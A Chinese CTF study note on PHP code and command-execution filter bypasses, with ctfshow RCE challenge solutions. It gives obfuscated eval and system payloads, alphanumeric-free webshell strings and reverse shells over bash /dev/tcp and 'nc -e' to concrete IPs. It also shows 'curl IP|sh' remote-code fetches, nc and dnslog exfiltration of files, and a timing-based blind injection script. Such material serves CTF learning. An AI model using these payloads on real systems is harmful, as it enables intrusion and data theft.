命令执行的一些总结
在php里面,我觉得可以把命令执行分为两种,system前,system后,为什么这吗说呢,因为eval的时候是可以执行php的代码的,这样就可以绕过一些字符传的绕过,system之后就可以执行系统命令了,然后在这个地方也会有很多针对Linux命令的一些小trick。其实可以再细分以下,就是有会显和没有回显,然后就是积累了。这一块的奇淫技巧那就真的太多了。上面说到的ctfshow里面的极限大挑战,第一个就是system前,第二个就是system后。
system前
代码执行函数有eval assert
eval里面有其它的字符串
eval("#man," . $cmd . ",mamba out");
%0a+要执行的php代码+%23 换行逃离第一个注释# 第二个# 注释掉后面的东西防止干扰
反引号包裹
反引号包裹的内容会当作命令执行
而且里面可以传参
`$_POST[1];`
字符串拼接
可以用来过滤一些引号还有特定的字符。
(p.h.p.i.n.f.o)();
(sy.(st).em)(whoami);
(sy.(st).em)(who.ami);
(s.y.s.t.e.m)("whoami");
字符串转义绕过
def hex_payload(payload):
res_payload = ''
for i in payload:
i = "\\x" + hex(ord(i))[2:]
res_payload += i
print("[+]'{}' Convert to hex: \"{}\"".format(payload,res_payload))
def oct_payload(payload):
res_payload = ""
for i in payload:
i = "\\" + oct(ord(i))[2:]
res_payload += i
print("[+]'{}' Convert to oct: \"{}\"".format(payload,res_payload))
def uni_payload(payload):
res_payload = ""
for i in payload:
i = "\\u{{{0}}}".format(hex(ord(i))[2:])
res_payload += i
print("[+]'{}' Convert to unicode: \"{}\"".format(payload,res_payload))
if __name__ == '__main__':
payload = 'phpinfo'
hex_payload(payload)
oct_payload(payload)
uni_payload(payload)
"\x70\x68\x70\x69\x6e\x66\x6f"();#phpinfo();
"\163\171\163\164\145\155"('whoami');#system('whoami');
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id');#system('whoami');
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');
多次传参绕过
GET:
?1=system&2=whoami
POST:
cmd=$_GET[1]($_GET[2]);
内置函数访问绕过
php -r "print_r(phpversion());"
7.1.33
php -r "print_r(get_defined_functions());"
Array
(
[internal] => Array
(
[293] => phpinfo
[382] => exec
[383] => system
)
[user] => Array
(
)
)
php -r "get_defined_functions()[internal][383](calc);"
get_defined_functions()[internal][383](calc)
异或绕过
普通场景
import string
char = string.printable
cmd = 'system'
tmp1,tmp2 = '',''
for res in cmd:
for i in char:
for j in char:
if(ord(i)^ord(j) == ord(res)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print("('{}'^'{}')".format(tmp1,tmp2))
无字符数字
<?php
highlight_file(__FILE__);
error_reporting(0);
if(preg_match('/[a-z0-9]/is', $_GET['shell'])){
echo "hacker!!";
}else{
eval($_GET['shell']);
}
payload = "assert"
strlist = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 93, 94, 95, 96, 123, 124, 125, 126, 127]
#strlist是ascii表中所有非字母数字的字符十进制
str1,str2 = '',''
for char in payload:
for i in strlist:
for j in strlist:
if(i ^ j == ord(char)):
i = '%{:0>2}'.format(hex(i)[2:])
j = '%{:0>2}'.format(hex(j)[2:])
print("('{0}'^'{1}')".format(i,j),end=".")
break
else:
continue
break
$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');
//$_='assert';
$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');
//$__='_GET';
$___=$$__;
//$___='$_GET';
$_($___[_]);
//assert($_GET[_]);
$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');$___=$$__;$_($___[_]);&_=phpinfo();
URL编码取反绕过
> php -r "var_dump(urlencode(~'system'));"
string(18) "%8C%86%8C%8B%9A%92"
> php -r "var_dump(urlencode(~'whoami'));"
string(18) "%88%97%90%9E%92%96"
(~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96);
#system('whoami');
# 异或拼接
$_=(~'%9E%8C%8C%9A%8D%8B');$__='_'.(~'%AF%B0%AC%AB');$___=$$__;$_($___[_]);
#assert($_POST[_]);
system后
再次强调一遍,这里执行的Linux的命令,上面那些是php的代码,eval里面包着的。
反弹shell
https://xz.aliyun.com/t/9488
bash
bash -c "bash -i >& /dev/tcp/60.205.138.120/3389 0>&1"
最常用的应该就是这个了。
bash -c {echo,要执行命令的base64编码}|{base64,-d}|{bash,-i}"|base64
里面base64编码的命令就是我们上面哪个反弹shell的命令。
bash -c "YmFzaCAtYyDCoCdiYXNoIC1pID4mIC9kZXYvdGNwLzYwLjIwNS4xMzguMTIwLzMzODkgMD4mMSc=|{base64,-d}|{bash,-i}"|base64
curl
然后我看到了一种反弹shell的方法。
vps上的网站根目录放一个bash -i >& /dev/tcp/120.79.249.163/3389 0>&1
index.php或html #可能还必须得是php得环境。
nc -lvvp 3389
curl 2018507171|sh
Curl配合Bash反弹shell的方式在CTF题目中经常出现,curl IP|bash
中的IP可以是任意格式的,可以是十进制、十六进制、八进制、二进制等等。
netcat
nc 120.79.249.163 3389 -e bash # /bin/sh 和 /bin/bash也可以
nc <攻击机IP> <攻击机监听的端口> -e /bin/bash
nc传文件
攻击机
➜ ~ nc -lvvp 3389 > kali.txt
Listening on any address 3389 (ms-wbt-server)
Connection from 106.123.146.195:43857
ls
^CExiting.
Total received bytes: 16
Total sent bytes: 3
➜ ~ nc -lvvp 3389 > kali.txt
➜ ~ cat kali.txt
flag{cocr2kali}
被攻击机
➜ / nc 120.79.249.163 3389 </flag
绕过一些字符串
➜ / c''a\t /fl\a""g
flag{cocr}
反正给我的感觉就是各种作,但是最终都是cat /flag
10进制ip
就是把ip转为10进制后。
http://3232265100/
结合着我们反弹shell的操作 curl 2018507171|bash
绕过空格
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
定义变量
其中\x20
可以用来绕过空格,但是这个地方如果当空格的话只在定义变量的时候成功了
┌──(root㉿kali)-[/]
└─# kg=$'\x20/flag'&&cat$kg
flag{cocr2kali}
➜ / a=ag;b=fl;cat $b$a
flag{cocr2kali}
┌──(root㉿kali)-[/]
└─# a=ag;b=/fl;cat$IFS$b$a
flag{cocr2kali}
通配符绕过
/???/c?t flag # /bin/cat flag
过滤*和?
可以用
paste /f[9-q][9-q]g /etc/passwd
dnslog外带
curl `whoami`.35v8sp.dnslog.cn
读文件
cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
sort%20/flag 读文件
dir来查看当前目录文件
➜ ~ head /flag
flag{cocr}
➜ ~ tail /flag
flag{cocr}
➜ ~ tac /flag
flag{cocr}
➜ ~ nl /flag
1 flag{cocr}
➜ ~ sort /flag
flag{cocr}
➜ ~ more /flag
flag{cocr}
➜ ~ paste /flag /etc/passwd
flag{cocr} root:x:0:0:root:/root:/usr/bin/zsh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
➜ ~ diff /flag /etc/passwd
1c1,33
< flag{cocr}
---
> root:x:0:0:root:/root:/usr/bin/zsh
> bin:x:1:1:bin:/bin:/sbin/nologin
> daemon:x:2:2:daemon:/sbin:/sbin/nologin
➜ ~ od -a /flag
0000000 f l a g { c o c r } nl
0000013
➜ ~ bzmore /flag
------> /flag <------
flag{cocr}
➜ ~ echo `bzless /flag`
------> /flag <------ flag{cocr}
➜ ~ curl file:///flag
flag{cocr}
利用管道符
base64
➜ / echo Y2F0IC9mbGFn|base64 -d|sh
flag{cocr2kali}
➜ / echo Y2F0IC9mbGFn|base64 -d|bash
flag{cocr2kali}
xdd
def hex_pure(payload):
res_payload = ''
for i in payload:
i = hex(ord(i))[2:]
res_payload += i
return res_payload
print(hex_pure("cat /flag"))
apt install xxd
┌──(root㉿kali)-[~]
└─# echo 636174202f666c6167 | xxd -r -p|bash
flag{cocr2kali}
编码
def uni_hex_payload(payload):
res_payload = ""
for i in payload:
i = "\\x{}".format(hex(ord(i))[2:])
res_payload += i
return res_payload
def uni_oct_payload(payload):
res_payload = ""
for i in payload:
i = "\\{}".format(oct(ord(i))[2:])
res_payload += i
return res_payload
➜ ~ $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
flag{cocr2kali}
➜ ~ $(printf "\143\141\164\40\57\146\154\141\147")
flag{cocr2kali}
理论上试可以随意结合的,但是unicode这个好像不能用。
➜ ~ echo Y3VybCAyMDE4NTA3MTcxfGJhc2g=|base64 -d|sh
➜ ~ echo 6375726c20323031383530373137317c62617368 | xxd -r -p|bash
bash盲注
import time
import requests
url = "http://xxxx/"
result = ""
for i in range(1,15):
for j in range(1,50):
#ascii码表
for k in range(32,127):
k=chr(k)
payload =f"if [ `cat /flag | awk NR=={i} | cut -c{j}` == '{k}' ];then sleep 2;fi"
length = len(payload)
payload2 = {"payload": payload}
t1 = time.time()
r = requests.post(url=url, data=payload2)
t2 = time.time()
if t2 - t1 > 1.5:
result += k
print(result)
result += " "
CTFSHOW RCE挑战
题记 ; 我讨厌奇淫技巧
ctfshow的每周大挑战里面
RCE极限挑战
RCE挑战1
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
# POC : code=?><?=`calc`; #记得加这个分号
这个地方其实很奇怪,我其实并不太清楚为什么要加上那个=?><?
去闭合前面的一些东西。我在写牢牢记住,逝者为大那一道题目的时候也没有闭合,总之就是很奇怪。我在本地运行下面这个的时候也是可以弹出计算机的,总之就是很奇怪。
<?php eval("`calc`;");
RCE挑战2
再强调一遍,我真的不觉得这种题目很有趣
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
一切的起点就是
(_/_).”=NAN后用数组的形式取出第一个字母,所以需要((_/_).”){0}=’N’
$____=((_/_).'')[''=='$']; #N
$_____=++$____; #O
++$____; #P
$______=$____; #$______=P
++$____; #Q
++$____; #R
++$____; #S
$_______=$____; #$_______=S
++$____; #T
$________=$____; #$________=T
$_________=$______.$_____.$_______.$________; #POST
$_________='_'.$_________; #_POST
$$_________[_]($$_________[__]); #$_POST[_]($_POST[__];)
ctf_show=%24____%3D((_%2F_).'')%5B''%3D%3D'%24'%5D%3B%24_____%3D%2B%2B%24____%3B%20%2B%2B%24____%3B%24______%3D%24____%3B%20%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%20%24_______%3D%24____%3B%2B%2B%24____%3B%24________%3D%24____%3B%24_________%3D%24______.%24_____.%24_______.%24________%3B%24_________%3D'_'.%24_________%3B%24%24_________%5B_%5D(%24%24_________%5B__%5D)%3B&_=system&__=cat /f*
注意后两个参数不要url编码
一些题外话$code=$_POST['e_v.a.l'];
这时候如果直接按这个变量名来传参,php 是无法接收到这个值的,具体原因是 php 会自动把 一些不合法的字符转化为下划线(注:php8以下),当PHP版本小于8
时,如果参数中出现中括号[
,中括号会被转换成下划线_
,但是会出现转换错误导致接下来如果该参数名中还有非法字符
并不会继续转换成下划线_
,也就是说如果中括号[
出现在前面,那么中括号[
还是会被转换成下划线_
,但是因为出错导致接下来的非法字符并不会被转换成下划线_
在PHP8中这种转换错误被修复了,传入的参数名中非法字符一律全部转换为了下划线
RCE挑战4
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
$_=((_/_).$_)[0]; //同上,取NAN的第一个字母N
$_++; //O
$__=$_.$_++; //这里进行了++的,所以$_等于P, $__=PO
$_++; // Q
$_++; // R
$_++; // S
$_=_.$__.$_.++$_; //这里也进行了++的,所以最后一位是T, $_ = _POST
$$_[_]($$_[0]); // $_POST[_]($_POST[0]);
ctf_show=%24_%3D((_%2F_)._)%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B0%5D)%3B&_=system&0=cat /f*
在网上看到的其实连数字都可以不用
POST:w1key=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=tac /flag
传payload的时候记得用burpsuite别直接用hackbar,因为hackbar会把传上去的东西进行了编码,我们的不可见字符就判定为三个字符了。这个解属于比较通用的,没用gettext,感觉一般服务器上也不会开那玩意儿吧,遇到一般的无字母数字webshell题这个解也够用了,我想用那个62字符的构造通用解发现(/.)[]经常报错,不知道为啥。
ctf_show=$_=(_/_._)[_];$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_[_]($$_[%FA]);&_=system&%FA=cat /f*
如果[]被ban了就换{},php里这俩可以混用,如果这两个都被ban了骚年还是换其他方法做吧
ctf_show=$_=(_/_._){_};$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_{_}($$_{%FA});&_=passthru&%FA=cat /f*
极限命令执行
以下题目运行环境均为CENTOS7
极限命令执行1
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
system($ctfshow);
}else{
echo("????????");
}
}
# ctf_show=/?????a? 这里就是利用通配符
极限命令执行2
<?php
//本题灵感来自研究一直没做出来的某赛某题时想到的姿势,太棒啦~。
//flag在根目录flag里,或者直接运行根目录getflag
error_reporting(0);
highlight_file(__FILE__);
include "check.php";
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
check($ctfshow); //这个地方过滤了 ?
system($ctfshow);
}
POC ::> ctf_show=$'\57\147\145\164\146\154\141\147'
我们可以用$’\xxx’的方式执行命令,其中xxx是ascii字母的8进制值,比如用$’\154\163’代替ls:
def string_to_oct(input_str):
oct_str = ""
for char in input_str:
oct_str += "\\" + oct(ord(char))[2:]
return oct_str
不过这种执行方法有个缺点,因为他会把整个字符串整体当做命令执行,因此如果我们想执行cat /flag它会认为”cat /flag”这个整体是一个命令,而不是cat是命令,/flag是目标,最后导致执行失败
极限命令执行3
和上面一样,但是过滤了除了01以外的数字。
def rce3(cmd):
payload='$0<<<$0\\<\\<\\<\\$\\\''
for c in cmd:
payload+=f'\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'
payload+='\\\''
# return payload.replace("1","${##}")
return payload
这个真的就比较绝了,真正的命令执行,但是打xyctf那道牢大的题目的时候都打不通,但是在kali下面这些命令都是试通了的。
如果题目连1也不放过的话,可以换成${##}
,
这些题目都太抽象了,不想看了。
极限命令执行5
def rce4(cmd):
r = {}
x = '$((~$(())))' # -1
for i in range(1, 9):
r[i] = '$((~$((' + x
for j in range(i):
r[i] += x
r[i] += '))))'
r[0] = '$(())'
payload = '__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\''
for c in cmd:
payload += '\\\\'
for i in oct(ord(c))[2:]:
payload += r[int(i)]
payload += '\\\''
return payload
参考文章
https://www.anquanke.com/post/id/168667
https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html
https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.htm
https://mochu.blog.youkuaiyun.com/article/details/104631142
https://blog.youkuaiyun.com/mochu7777777/article/details/115050295
https://www.freebuf.com/articles/network/258676.html
https://ctf-show.feishu.cn/docx/EH72dMi3hoBtLJxDydjcIVcQnSc